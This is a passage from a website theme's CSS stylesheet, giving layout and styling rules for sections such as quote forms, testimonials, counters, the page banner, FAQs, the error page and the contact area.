absolute; left: 0; top: 100%; margin-top: -5px; border: 5px solid transparent; border-top: 5px solid var(--thm-black); border-left: 5px solid var(--thm-black); } .feature-eight__content .sec-title { margin-bottom: 30px; } @media (min-width: 992px) { .feature-eight__content .sec-title { margin-bottom: 35px; } } /*** ==================================================================== 32. We DO Section ==================================================================== ***/ .get-quote-section { position: relative; padding: 120px 0px 90px; border-bottom: 1px solid #e9ebee; } .get-quote-section .left-col { position: relative; margin-bottom: 30px; } .get-quote-section .left-col .inner { position: relative; display: block; padding-right: 70px; } .get-quote-section .featured-block { position: relative; display: block; padding-left: 320px; min-height: 186px; margin-bottom: 55px; } .get-quote-section .featured-block .image { position: absolute; left: 0; top: 0; width: 270px; } .get-quote-section .featured-block .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .get-quote-section .featured-block h4 { font-size: 40px; font-weight: 400; text-transform: uppercase; margin-bottom: 25px; } .get-quote-section .featured-block .text { position: relative; display: block; margin-bottom: 32px; } .get-quote-section .counter { position: relative; display: block; padding-top: 55px; border-top: 1px solid #e9ebee; } .get-quote-section .counter .counter-text { position: relative; float: left; } .get-quote-section .counter .counter-image { position: relative; float: right; padding-left: 55px; } .get-quote-section .counter .counter-image:before { content: ""; position: absolute; left: 0; top: 0; width: 14px; height: 100%; background: var(--thm-base); border-radius: 7px; } .get-quote-section .counter .counter-image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .get-quote-section .counter .count-box { position: relative; display: block; font-size: 60px; text-transform: uppercase; color: var(--thm-black); font-weight: 400; line-height: 1em; letter-spacing: 0.02em; font-family: var(--thm-font); } .get-quote-section .counter .counter-title { position: relative; display: block; font-size: 20px; text-transform: uppercase; color: var(--thm-text); font-weight: 400; line-height: 1.25em; letter-spacing: 0.05em; font-family: var(--thm-font); } .get-quote-section .right-col { position: relative; margin-bottom: 30px; } .get-quote-section .right-col .inner { position: relative; display: block; } .get-quote-section .form-box { position: relative; display: block; text-align: center; background: #ffffff; padding: 50px 45px 40px; margin-top: -180px; border-radius: 7px; border: 1px solid rgba(0, 0, 0, 0.05); -webkit-box-shadow: 0px 0px 70px 0px rgba(0, 0, 0, 0.1); box-shadow: 0px 0px 70px 0px rgba(0, 0, 0, 0.1); z-index: 5; } .get-quote-section .form-box h4 { color: var(--thm-black); font-size: 40px; font-weight: 400; text-transform: uppercase; margin-bottom: 25px; } .get-quote-section .form-box h4 span { padding-left: 3px; color: var(--thm-base); } .get-quote-section .default-form .form-group { margin-bottom: 10px; } .get-quote-section .default-form .theme-btn { display: block; width: 100%; } /*** ==================================================================== 33. Call Section ==================================================================== ***/ .fluid-section { position: relative; padding: 0; } .fluid-section .row { margin: 0; } .fluid-section .column { padding: 0; } .fluid-section .column .inner { position: relative; display: block; text-align: center; min-height: 100%; padding: 120px 20px; background: #1c1e22; } .fluid-section .column:nth-child(2) .inner { background: var(--thm-base); } .fluid-section .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.1; } .fluid-section .content-box { position: relative; max-width: 620px; margin: 0 auto; } .fluid-section h3 { position: relative; display: block; font-size: 60px; line-height: 1.1em; text-transform: uppercase; color: #ffffff; font-weight: 400; margin: 0px 0px; z-index: 3; } .fluid-section .column:nth-child(2) h3 { color: var(--thm-black); } .fluid-section .link-box { position: relative; padding-top: 25px; z-index: 3; } /*** ==================================================================== 34. Call Section ==================================================================== ***/ .call-to-section-two { position: relative; padding: 120px 0px 90px; background-color: #2a2c30; background-image: url(../images/icons/cta-bg-1-1.png); color: #ffffff; z-index: 1; } .call-to-section-two.alternate { background: var(--thm-base); background-image: url(../images/background/cta-2-bg-1-1.png); } .call-to-section-two .inner { position: relative; display: block; } .call-to-section-two h2 { position: relative; float: left; display: block; font-size: 70px; line-height: 0.85em; text-transform: uppercase; color: #ffffff; font-weight: 400; margin: 0px 0px 25px; z-index: 1; } .call-to-section-two.alternate h2 { color: var(--thm-black); } .call-to-section-two .link-box { position: relative; float: right; padding-top: 25px; z-index: 1; } /* call to section three */ .call-to-section-three { background-color: var(--thm-base); padding-top: 119px; padding-bottom: 119px; } .call-to-section-three .jarallax-img { mix-blend-mode: luminosity; opacity: 0.1; } .call-to-section-three .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .call-to-section-three .auto-container h3 { margin: 0; font-size: 50px; font-weight: 800; color: #fff; } .call-to-section-three .auto-container .btn-style-three { min-width: 220px; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; background-color: #fff; color: var(--thm-black); } .call-to-section-three .auto-container .btn-style-three:hover { background-color: var(--thm-black); color: #fff; } /*** ==================================================================== 35. Services Section ==================================================================== ***/ .services-section-three { position: relative; padding: 0px 0px 90px; background: #ffffff; } .services-section-three.padd-top { padding-top: 120px; } .services-section-three .services { position: relative; } .services-section-three__one-page { position: relative; padding: 120px 0px 90px; background-color: var(--thm-black); background-image: url(../images/background/contact-bg-1-1.png); background-size: cover; color: #999b9f; } .services-section-three__one-page .sec-title h2 { color: #fff; } .services-section-three__one-page .service-block-two .inner-box { overflow: hidden; background-color: #1c1e22; } .services-section-three__one-page .service-block-two .inner-box h5 a { color: #fff; } .services-section-three__one-page .service-block-two .inner-box .bottom-curve, .services-section-three__one-page .service-block-two:hover .inner-box h5 a, .services-section-three__one-page .service-block-two:hover .inner-box .icon-box, .services-section-three__one-page .service-block-two:hover .text { color: var(--thm-black); } .services-section-three__one-page .service-block-two .link-box { opacity: 0; -webkit-transition: 500ms; transition: 500ms; } .services-section-three__one-page .service-block-two:hover .link-box { opacity: 1; } .services-section-three__one-page .service-block-two .inner-box:hover::before { background-color: var(--thm-base); } /*** ==================================================================== 36. Discover Section ==================================================================== ***/ .discover-section { position: relative; padding: 120px 0px 90px; background: #ffffff; } .discover-block { position: relative; margin-bottom: 30px; } .discover-block .inner-box { position: relative; display: block; padding-left: 30px; } .discover-block .image-box { position: relative; display: block; overflow: hidden; } .discover-block .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 0.3s ease; transition: all 0.3s ease; border-radius: 7px; } .discover-block .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .discover-block .cap-box { position: absolute; left: 0; bottom: 0; display: block; width: 100%; max-width: 330px; } .discover-block .cap-inner { position: relative; display: block; padding: 40px 80px 36px 40px; background: var(--thm-base); border-radius: 7px; } .discover-block .cap-inner h5 { font-size: 30px; text-transform: uppercase; font-weight: 400; color: var(--thm-black); line-height: 1em; margin: 0; } .discover-block .cap-inner .more-link { position: absolute; right: 20px; bottom: 20px; width: 50px; height: 50px; } .discover-block .cap-inner .more-link a { position: relative; display: block; width: 50px; height: 50px; font-size: 16px; background: var(--thm-black); color: #ffffff; line-height: 50px; border-radius: 50%; text-align: center; } .discover-block .cap-inner .more-link a:hover { opacity: 0.5; } /*** ==================================================================== 37. Parallax Section ==================================================================== ***/ .features-section-two { position: relative; padding: 0px 0px; background: #ffffff; } .features-section-two .content-container { position: relative; display: block; padding: 120px 0px 90px; } .features-section-two .content-container:before { content: ""; position: absolute; right: 0; top: 0; bottom: 0; left: -2000px; background: #ffffff url(../images/background/pattern-2.png) right top repeat; border-radius: 0px 7px 7px 0px; } .features-section-two .left-col { position: relative; margin-bottom: 30px; } .features-section-two .left-col .inner { position: relative; display: block; padding-right: 40px; } .features-section-two .sec-title { margin-bottom: 40px; } .features-section-two .features { position: relative; } .features-section-two .feature { position: relative; display: block; padding: 0px 0px 40px; margin-bottom: 47px; padding-left: 90px; min-height: 100px; border-bottom: 1px solid #e9ebee; } .features-section-two .feature:last-child { margin-bottom: 0; padding-bottom: 0; border-bottom: none; } .features-section-two .feature .count { position: absolute; left: 0; top: 0px; width: 60px; height: 60px; text-align: center; background: var(--thm-base); padding: 10px; line-height: 40px; font-size: 30px; letter-spacing: 1px; color: var(--thm-black); text-transform: uppercase; border-radius: 50%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; line-height: 1em; -webkit-transition: 0.5s; transition: 0.5s; font-family: var(--thm-font); } .features-section-two .feature:hover .count { background-color: var(--thm-black); color: #fff; } .features-section-two .feature .count span { line-height: 1em; position: relative; top: 2px; } .features-section-two .feature h5 { font-weight: 400; font-size: 24px; margin: 0; line-height: 1.2em; text-transform: uppercase; margin-bottom: 15px; } .features-section-two .feature .sub-text { display: block; position: relative; top: 0px; display: block; } .features-section-two .right-col { position: relative; margin-bottom: 30px; } .features-section-two .right-col .inner { position: relative; display: block; } .features-section-two .right-col .image-box { position: relative; display: block; } .features-section-two .right-col .image-box img { position: relative; display: block; width: auto; max-width: none; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 0.3s ease; transition: all 0.3s ease; border-radius: 7px; } .features-section-two .right-col .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .features-section-two .right-col .cap-box { position: absolute; left: 0; bottom: 0; display: block; width: 100%; max-width: 350px; } .features-section-two .right-col .cap-inner { position: relative; display: block; padding: 40px 60px; background: var(--thm-base); border-radius: 7px; } .features-section-two .right-col .cap-inner h5 { font-size: 30px; text-transform: uppercase; font-weight: 400; color: var(--thm-black); line-height: 1em; margin: 0; } /*** ==================================================================== 38. We Work Section ==================================================================== ***/ .we-work-section { position: relative; padding: 120px 0 80px; } .work-tabs { position: relative; } .work-tabs .tab-buttons { position: relative; display: block; background: #f4f5f8; border-radius: 7px; text-align: center; margin-bottom: 50px; overflow: hidden; } .work-tabs .tab-buttons .tab-btn { position: relative; float: left; width: 33.333%; line-height: 40px; font-size: 30px; font-weight: 400; letter-spacing: 0.01em; color: var(--thm-black); padding: 30px 15px; text-transform: uppercase; margin: 0; font-family: var(--thm-font); -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .work-tabs .tab-buttons .tab-btn span { position: relative; display: block; z-index: 1; } .work-tabs .tab-buttons .tab-btn:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 0px; background: var(--thm-black); -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } .work-tabs .tab-buttons .tab-btn.active-btn:before { height: 100%; } .work-tabs .tab-buttons .tab-btn.active-btn { color: #ffffff; } .work-tabs .tabs-content { position: relative; } .work-tabs .image-col { position: relative; margin-bottom: 30px; } .work-tabs .image-col .inner { position: relative; display: block; opacity: 0; visibility: hidden; -webkit-transform: translateY(50px); transform: translateY(50px); -webkit-transition: all 0.5s ease; transition: all 0.5s ease; } .work-tabs .tabs-content .image { position: relative; display: block; border-radius: 7px; } .work-tabs .tabs-content .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .work-tabs .text-col { position: relative; margin-bottom: 30px; } .work-tabs .text-col .inner { position: relative; display: block; padding-left: 30px; opacity: 0; visibility: hidden; -webkit-transform: translateY(50px); transform: translateY(50px); -webkit-transition: all 0.5s ease; transition: all 0.5s ease; } .work-tabs .active-tab .text-col .inner, .work-tabs .active-tab .image-col .inner { opacity: 1; visibility: visible; -webkit-transform: translateY(0px); transform: translateY(0px); } .work-tabs .tabs-content .text { position: relative; } .work-tabs .tabs-content .text p { position: relative; margin-bottom: 30px; } .work-tabs .tabs-content .text ul { position: relative; } .work-tabs .tabs-content .text ul li { position: relative; line-height: 2.125em; margin-bottom: 8px; padding-left: 30px; font-weight: 400; } .work-tabs .tabs-content .text ul li:before { content: "\f131"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; font-size: 18px; } /*** ==================================================================== 39. Testimonials Section ==================================================================== ***/ .testimonials-section-two { position: relative; padding: 120px 0px; background: #1c1e22; color: #ffffff; z-index: 1; } .testimonials-section-two .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center center; background-size: cover; background-attachment: fixed; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; } .testimonials-section-two .carousel-box { position: relative; padding-right: 200px; } .testi-block-two { position: relative; } .testi-block-two .inner { position: relative; display: block; } .testi-block-two .icon { position: relative; top: 35px; display: block; font-weight: 400; font-size: 200px; line-height: 0.7em; color: var(--thm-base); margin-bottom: 0px; } .testi-block-two .info { position: relative; margin-top: 50px; } .testi-block-two .info .name { display: block; font-size: 24px; line-height: 1.2em; color: var(--thm-base); font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; font-family: var(--thm-font); } .testi-block-two .text { position: relative; display: block; font-size: 42px; line-height: 1.381em; font-weight: 400; letter-spacing: 0em; color: #ffffff; font-family: var(--thm-b-font); padding: 0px 0px; } .testimonials-section-two .owl-theme .owl-dots { display: none; } .testimonials-section-two .owl-theme .owl-nav { position: absolute; right: -170px; top: 50%; margin-top: -50px; height: 110px; text-align: right; } .testimonials-section-two .owl-theme .owl-nav .owl-next, .testimonials-section-two .owl-theme .owl-nav .owl-prev { position: absolute; top: 0; right: 0; width: 50px; height: 50px; background: #ffffff !important; color: var(--thm-black); padding: 0; margin: 0; line-height: 50px; text-align: center; opacity: 0.2; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testimonials-section-two .owl-theme .owl-nav .owl-next { top: auto; bottom: 0; } .testimonials-section-two .owl-theme .owl-nav .owl-next span, .testimonials-section-two .owl-theme .owl-nav .owl-prev span { vertical-align: middle; } .testimonials-section-two .owl-theme .owl-nav .owl-next:hover, .testimonials-section-two .owl-theme .owl-nav .owl-prev:hover { opacity: 1; } /*** ==================================================================== 40. We DO Section ==================================================================== ***/ .about-section-two { position: relative; padding: 120px 0px 90px; } .about-section-two .left-col { position: relative; } .about-section-two .left-col .inner { position: relative; display: block; padding-right: 50px; } .about-section-two .counter { position: relative; display: block; } .about-section-two .right-col { position: relative; margin-bottom: 30px; } .about-section-two .right-col .inner { position: relative; display: block; padding-left: 30px; } .about-section-two .image-box { position: relative; display: block; margin-top: -240px; z-index: 5; } .about-section-two .image-box .image { position: relative; display: block; } .about-section-two .image-box .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .about-section-two .image-box .since { position: absolute; right: 50px; bottom: 50px; } .about-section-two .image-box .since:before { content: ""; position: absolute; left: -42px; top: 4px; bottom: 4px; border-left: 2px solid var(--thm-base); } .about-section-two .image-box .since .txt { position: relative; display: block; padding: 21px 5px; width: 90px; height: 90px; line-height: 24px; text-align: center; background: #ffffff; text-transform: uppercase; color: var(--thm-black); border-radius: 50%; } .counter-block { position: relative; margin-bottom: 30px; } .counter-block .inner-box { position: relative; padding-left: 160px; min-height: 140px; padding-top: 42px; } .counter-block .graph-outer { position: absolute; left: 0; top: 0; width: 140px; height: 140px; display: block; text-align: center; } .counter-block .graph-outer:before { content: ""; position: absolute; left: 0px; top: 0px; right: 0px; bottom: 0px; border: 3px solid #e9ebee; border-radius: 50%; } .counter-block .graph-outer canvas { position: relative; } .counter-block .graph-outer .count-box { position: absolute; left: 0; top: 50%; width: 100%; font-size: 30px; color: var(--thm-black); font-weight: 400; line-height: 60px; text-transform: uppercase; letter-spacing: 0.05em; margin-top: -30px; font-family: var(--thm-font); } .counter-block .graph-outer .count-box .sign { font-size: 20px; } .counter-block input { opacity: 0; visibility: hidden; position: absolute; left: 0; top: 0; } .counter-block h4 { position: relative; line-height: 1.1em; font-size: 24px; color: var(--thm-black); font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; margin: 0 0; } /* about section three */ .about-section-three { padding-top: 120px; padding-bottom: 120px; } .about-section-three__image { position: relative; display: inline-block; } .about-section-three__image img { position: relative; } .about-section-three__image::before { content: ""; position: absolute; top: 30px; bottom: 30px; right: 0; left: -30px; background-color: var(--thm-base); } .about-section-three__content .sec-title-two { margin-bottom: 35px; } .about-section-three__content .sec-title-two h2 { margin-top: 10px; } .about-section-three__summery p { margin: 0; font-size: 18px; line-height: 2; font-weight: 500; color: #697280; margin-bottom: 30px; } .about-section-three__list { margin-bottom: 50px; } .about-section-three__list li { position: relative; padding-left: 30px; color: #697280; font-size: 18px; font-weight: 500; line-height: 2; } .about-section-three__list li > i { position: absolute; top: 50%; left: 0; -webkit-transform: translateY(-50%); transform: translateY(-50%); color: var(--thm-base); font-size: 16px; } .about-section-three__content .progress-box { position: relative; display: block; width: 100%; margin-bottom: 50px; } .about-section-three__content .progress-box .bar-title { position: relative; font-size: 18px; line-height: 1.1em; margin-bottom: 10px; font-weight: 600; color: var(--thm-black); } .about-section-three__content .progress-box .bar { position: relative; width: 100%; height: 7px; background: #eff1f4; border-radius: 4px; } .about-section-three__content .progress-box .bar-inner { position: relative; display: block; width: 0px; height: 7px; background: var(--thm-base); -webkit-transition: all 1500ms ease; transition: all 1500ms ease; } .about-section-three__content .progress-box .count-box { position: absolute; right: 0px; margin-right: -40px; bottom: 18px; width: 40px; height: 22px; color: #697280; line-height: 22px; font-size: 14px; font-weight: 600; text-align: center; opacity: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .about-section-three__content .progress-box .counted .count-box { opacity: 1; } .about-section-three__name { position: relative; padding-top: 15px; } .about-section-three__name > img { position: absolute; top: 0; left: 0; } .about-section-three__name h3 { margin: 0; font-size: 20px; color: var(--thm-black); font-weight: bold; line-height: 1; margin-bottom: 5px; position: relative; } .about-section-three__name p { margin: 0; text-transform: uppercase; letter-spacing: 0.1; font-weight: 600; font-size: 14px; color: var(--thm-base); position: relative; } /* about me */ .about-me-one { padding-top: 90px; padding-bottom: 90px; } @media (min-width: 1200px) { .about-me-one { padding-top: 120px; padding-bottom: 120px; } } .about-me-one__image img { border-radius: 8px; /* -webkit-filter: grayscale(100%); filter: grayscale(100%);*/ max-width: 100%; margin-bottom: 50px; } @media (min-width: 1200px) { .about-me-one__image img { margin-bottom: 0; } } @media (min-width: 1200px) { .about-me-one__content { padding-left: 30px; } } @media (min-width: 1440px) { .about-me-one__content { padding-left: 70px; } } .about-me-one__content .sec-title { margin-bottom: 0; } .about-me-one__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 20px; margin-bottom: 20px; } @media (min-width: 1200px) { .about-me-one__social { margin-top: 25px; margin-bottom: 40px; } } .about-me-one__social a { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; width: 44px; height: 44px; background-color: #f4f5f8; color: var(--thm-black); font-size: 16px; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .about-me-one__social a + a { margin-left: 10px; } .about-me-one__social a:hover { background-color: var(--thm-base); color: var(--thm-black); } .about-me-one__certificate-row { margin-left: -10px; margin-right: -10px; margin-top: 30px; max-width: 500px; } @media (min-width: 1200px) { .about-me-one__certificate-row { margin-top: 70px; } } .about-me-one__certificate-row [class*="col-"] { padding-left: 10px; padding-right: 10px; } .about-me-one__certificate-row img { max-width: 100%; border-radius: 8px; mix-blend-mode: luminosity; margin-bottom: 20px; } @media (min-width: 1200px) { .about-me-one__certificate-row img { margin-bottom: 0; } } .about-me-one__qoute { color: var(--thm-base); font-size: 30px; line-height: 34px; margin: 0; font-weight: 400; } @media (min-width: 1200px) { .about-me-one__qoute { margin-top: 65px; } } .about-me-one__text { margin: 0; font-size: 16px; line-height: 34px; margin-bottom: 30px; } @media (min-width: 1200px) { .about-me-one__text { margin-bottom: 35px; } } /* about me progress */ .about-me-counter { background-color: #f4f5f8; padding-top: 90px; padding-bottom: 60px; } @media (min-width: 992px) { .about-me-counter { padding-top: 120px; padding-bottom: 90px; } } @media (min-width: 1200px) { [class*="col-"]:nth-child(3) .counter-block { margin-left: 20px; } } .about-me-counter .counter-block h4 { font-size: 26px; } .about-me-counter .sec-title { text-align: center; margin-bottom: 40px; } @media (min-width: 768px) { .about-me-counter .sec-title { margin-bottom: auto; width: 100%; text-align: left; margin-top: auto; } } /*** ==================================================================== 41. Get Quote ==================================================================== ***/ .get-quote-two { position: relative; padding: 120px 0px 210px; background-color: var(--thm-black); background-image: url(../images/background/contact-bg-1-1.png); background-size: cover; color: #999b9f; } .get-quote-two__one-page { padding-bottom: 120px; } @media (max-width: 991px) { .get-quote-two__one-page { padding-bottom: 70px !important; } } .get-quote-two .sec-title { margin-bottom: 35px; } .get-quote-two .sec-title h2 { color: #ffffff; } .get-quote-two .left-col { position: relative; margin-bottom: 30px; } .get-quote-two .left-col .inner { position: relative; display: block; max-width: 480px; } .get-quote-two .left-col .text { position: relative; display: block; color: #999b9f; margin-bottom: 35px; } .get-quote-two .info { position: relative; display: block; } .get-quote-two .form-box form .form-group input, .get-quote-two .form-box form .form-group select, .get-quote-two .form-box form .form-group textarea, .get-quote-two .form-group .ui-selectmenu-button.ui-button { background-color: #ffffff; border-color: #ffffff; } .get-quote-two .info ul li { position: relative; display: block; min-height: 60px; padding-left: 85px; line-height: 28px; padding-top: 5px; margin-bottom: 20px; } .get-quote-two .info ul li strong { display: block; color: #ffffff; letter-spacing: 0.1em; font-size: 16px; font-weight: 400; text-transform: uppercase; font-family: var(--thm-font); margin-top: -4px; } .get-quote-two .info ul li .icon { position: absolute; left: 0; top: 0; line-height: 30px; padding: 15px 10px; width: 60px; height: 60px; text-align: center; background-color: var(--thm-base); border-radius: 50%; font-size: 16px; color: var(--thm-black); } .get-quote-two .info ul li:last-child { margin: 0; } .get-quote-two .info ul li a { position: relative; color: #999b9f; line-height: 28px; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .get-quote-two .info ul li a:hover { color: #ffffff; text-decoration: underline; -webkit-text-decoration-color: var(--thm-base); text-decoration-color: var(--thm-base); } .get-quote-two .right-col { position: relative; margin-bottom: 10px; } .get-quote-two .right-col .inner { position: relative; display: block; } .get-quote-two .form-box { position: relative; display: block; } .get-quote-two .form-box form .row { margin: 0 -10px; } .get-quote-two .form-box form .form-group { padding: 0px 10px; margin-bottom: 20px; } /*** ==================================================================== 42. Map Section ==================================================================== ***/ .map-section { position: relative; padding: 0px 0px 120px; } .map-section .map-container { position: relative; display: block; width: 100%; margin-top: -120px; border-radius: 7px; overflow: hidden; z-index: 3; } .map-section__one-page { padding-bottom: 0; } .map-section__one-page .map-container { margin-top: 0; } .map-canvas, .map-iframe { position: relative; display: block; width: 100%; height: 450px; } .map-section__one-page .map-iframe { height: 575px; } .map-data { font-family: var(--thm-font); text-align: center; font-size: 20px; color: #222222; font-weight: 300; letter-spacing: 0.05em; line-height: 1.7em; } .map-data h6 { font-family: var(--thm-font); font-size: 24px; font-weight: 400; text-align: center; margin-bottom: 10px; line-height: 1em; color: #222222; text-transform: uppercase; letter-spacing: 0.05em; } /*** ==================================================================== 43. Sponsors Section ==================================================================== ***/ .sponsors-section-two { position: relative; padding: 120px 0px 90px; background: #ffffff; border-top: 1px solid #e9ebee; } .sponsors-section-two .title-col { position: relative; margin-bottom: 30px; } .sponsors-section-two .sec-title { margin-bottom: 0; } .sponsors-section-two .logo-col { position: relative; } .sponsors-section-two .logo-block { position: relative; margin-bottom: 30px; } .sponsors-section-two .image-box img { max-width: 100%; width: auto; display: inline-block; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; opacity: 0.2; } .sponsors-section-two .image-box img:hover { opacity: 1; } /* sponsors section three */ .sponsors-section-three { padding-top: 120px; padding-bottom: 120px; } .sponsors-section-three .thm-swiper__slider .swiper-slide img { opacity: 0.2; -webkit-transition: all 500ms ease; transition: all 500ms ease; display: block; } .sponsors-section-three .thm-swiper__slider .swiper-slide img:hover { opacity: 0.6; } .sponsors-section__about-two { background-color: var(--thm-base); } /*** ==================================================================== 44. Page Banner ==================================================================== ***/ .page-banner { position: relative; padding: 0; color: #ffffff; background: var(--thm-black); background-position: center top; background-repeat: no-repeat; background-size: cover; } .page-banner .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 0.4; z-index: 0; background-repeat: no-repeat; background-position: center center; background-size: cover; /* -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%);*/ } .page-banner .shape-1 { position: absolute; right: 0; top: 0; width: 250px; max-width: 100%; height: 100%; background: url(../images/background/b-shape-1.png) right bottom no-repeat; z-index: 1; } .page-banner .shape-2 { position: absolute; right: 0; top: 0; width: 250px; max-width: 100%; height: 100%; background: url(../images/background/b-shape-2.png) right top no-repeat; z-index: 1; } .page-banner .banner-inner { position: relative; display: block; text-align: center; z-index: 3; } .page-banner .inner-container { position: relative; padding: 240px 0px 120px; } .page-banner h1 { position: relative; font-size: 100px; color: #ffffff; line-height: 0.9em; font-weight: 600; letter-spacing: 1px; text-transform: uppercase; margin: 0; } .page-banner .page-nav { position: relative; padding-top: 5px; text-align: center; } .page-banner .bread-crumb { position: relative; display: inline-block; } .page-banner .bread-crumb li { position: relative; float: left; font-size: 20px; line-height: 30px; color: #ccd6df; font-weight: 400; text-transform: uppercase; letter-spacing: 1px; cursor: default; padding-right: 15px; margin-right: 15px; letter-spacing: 0.1em; font-family: var(--thm-font); } .page-banner .bread-crumb li:before { position: absolute; right: -15px; width: 30px; text-align: center; font-size: 20px; line-height: 30px; font-weight: 400; content: "-"; } .page-banner .bread-crumb li:last-child { padding-right: 0; margin-right: 0; } .page-banner .bread-crumb li:last-child:before { display: none; } .page-banner .bread-crumb li a { color: #ffffff; font-weight: 400; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .page-banner .bread-crumb li a:hover, .page-banner .bread-crumb li.active { color: var(--thm-base); } /*** ==================================================================== 45. Faqs Section ==================================================================== ***/ .faqs-section { position: relative; padding: 120px 0px 100px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; overflow: hidden; } .faqs-section .faq-block { position: relative; margin-bottom: 20px; } /*** ==================================================================== 46. Get Quote ==================================================================== ***/ .get-quote-three { position: relative; padding: 120px 0px 100px; background: #ffffff; } .get-quote-three .sec-title { margin-bottom: 40px; } .get-quote-three .form-box { position: relative; display: block; max-width: 770px; margin: 0 auto; text-align: center; } .get-quote-three .form-box form .row { margin: 0 -10px; } .get-quote-three .form-box form .form-group { padding: 0px 10px; margin-bottom: 20px; } /*** ==================================================================== 47. Error Section ==================================================================== ***/ .error-section { position: relative; background: #ffffff; padding: 120px 0px; } .error-section .content { position: relative; max-width: 700px; text-align: center; margin: 0 auto; } .error-section .big-text { position: relative; line-height: 0.7em; font-size: 340px; color: var(--thm-base); font-weight: 400; letter-spacing: 15px; line-height: 1em; } .error-section .big-text .front { position: relative; display: block; width: 100%; text-align: center; } .error-section .big-text .back { position: absolute; padding-left: 20px; left: 0; top: 0; display: block; width: 100%; text-align: center; color: rgba(var(--thm-base-rgb), 0.1); } .error-section h2 { font-weight: 400; color: var(--thm-black); line-height: 1em; margin-bottom: 0px; text-transform: uppercase; letter-spacing: 0.005em; } .error-section .text { position: relative; display: block; line-height: 1.5em; } .error-section .link-box { position: relative; padding-top: 20px; } .error-section .link-box .theme-btn { position: relative; min-width: 200px; } .error-form { position: relative; max-width: 520px; margin: 50px auto 0; } .error-form form { position: relative; } .error-form .form-group { position: relative; margin: 0; } .error-form .form-group input[type="text"], .error-form .form-group input[type="search"], .error-form .form-group input[type="email"] { position: relative; width: 100%; line-height: 30px; padding: 20px 60px 20px 30px; height: 70px; display: block; font-size: 14px; background: #f4f5f8; color: var(--thm-text); border-radius: 7px; font-family: var(--thm-b-font); border: 1px solid #f4f5f8; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .error-form .form-group input[type="text"]:focus, .error-form .form-group input[type="email"]:focus, .error-form .form-group input[type="search"]:focus { border-color: var(--thm-base); } .error-form .form-group input::-webkit-input-placeholder { color: #575757; } .error-form .form-group .theme-btn { position: absolute; right: 25px; top: 15px; width: 40px; height: 40px; line-height: 40px; font-size: 20px; background: none; color: var(--thm-text); } .error-form .form-group .theme-btn span { vertical-align: middle; } /*** ==================================================================== 48. Contact Section ==================================================================== ***/ .contact-section { position: relative; padding: 120px 0px 100px; background: #ffffff; } .contact-section__one-page { padding-bottom: 0; } .contact-section .map-box { position: relative; display: block; margin: 0 0 120px; border-radius: 7px; overflow: hidden; } .contact-section .form-box { position: relative; display: block; max-width: 770px; margin: 0 auto; text-align: center; } .contact-section .form-box form .row { margin: 0 -10px; } .contact-section .form-box form .form-group { padding: 0px 10px; margin-bottom: 20px; } .contact-section .upper-info { position: relative; margin-bottom: 90px; } .contact-section .info-block { position: relative; margin-bottom: 30px; } .contact-section .info-block .inner-box { position: relative; display: block; height: 100%; min-height: 100%; padding: 45px 45px 